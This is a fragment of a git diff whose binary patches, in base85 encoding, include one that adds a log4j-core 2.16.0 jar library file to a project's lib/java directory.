zX(1w;jiC!vU?yEUyK0<Rd3lZ>^*v36<8IFgt2{y*hQCs;(D&q@t`=GTlJCdu_2IuO
zfusD`SbCH&Fy4l<HvGt~n0UD0afJ-3)4U6Z(UB3ibc!ejwIw+Bf_U5hLZi_s<AWb>
z{0#9`ftvE9UB4Nk@M4WlDh1wo>z(=C2g3at3*cJ&?JUs+kc}wuK$+t|Tx(Zn5l)#w
zC@%G79FLqUikLm1!Wq-m9ZAj4y<Qv#fs3HMehjYfm!fdioQkuEmC3taXT+tuz{?GV
z3T1eUGu^|BqSS|;Ds{Dy$pQJ4N~pFE$mKvOzXd6>OcYt_-iVGi>jxTW8~4`eA5*B?
zqmbo)LnE#&$4ZW1R|#Z1=(|#MB{rI^jtSO8?uv4SDtFw!x1T(EEC?@%O^hF}hpyIw
zlrrpoI*TF3H#G$bCc|K<u}0n9ljA55@>`iTu-rv(9()J0Y!CvJ9*eVWl4@;;CG)>u
z>>xnu1BA!r<2H(dSoBc|2E8%XIvrfDv?Q>Gqkrhx3OFkvv{p=DTQ&>fpfuUqeqr?k
zBrIj5sh514F9*^<P~^vubX(j*a%%KY@NYy}uC3Ki{tK*Qhyi$BYw(Xb!n5fo;!%*U
z*6;CnX_)>XczP3tz|rsQ@DSbB?-8I&4^HZ;*Y|hP?oiXxxZic4*8w`ejCg-{&d}{0
zA1LZdMs5XFILgv~Id*0GFId4)*$Tego3j<zdp^RD8BS2)0XfA9O;Sfx!roQ}I}VSL
z9v%={L13CbCKav_={D*yP)VOozn;GlO<$)36+aB59TkGfUdW`Lk06acdZ2a5cL7EH
zADp6U$AzFeq#BLc-_DVXj{Mutfk#Wvhk;V^i@TmxCxl?4^fBne16{8DXq&_pDb?T*
zZsWtxglkTU;iOwq^oc4@Z;}f9ar)Yp>iG6tU>c{S$!Rwb!VGu-$l?NLX8CmgcYyN{
zAAV5Ze#Q-)4!R_h3JQsTad5vtIyt?-hwnQ9zX_p8Z8P@snnIrDG(Z+4);>rfgdQJX
oeC$7XBjQ|HPkUyP9T%Gs?ccywjp;J^*5=E?4B@Kh%i>S}2TZAwg#Z8m

diff --git a/lib/java/log4j-core-2.16.0.jar b/lib/java/log4j-core-2.16.0.jar
new file mode 100644
index 0000000000000000000000000000000000000000..bc913bc53127205f45c2f87050f448733456e6da
GIT binary patch
literal 1789565
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
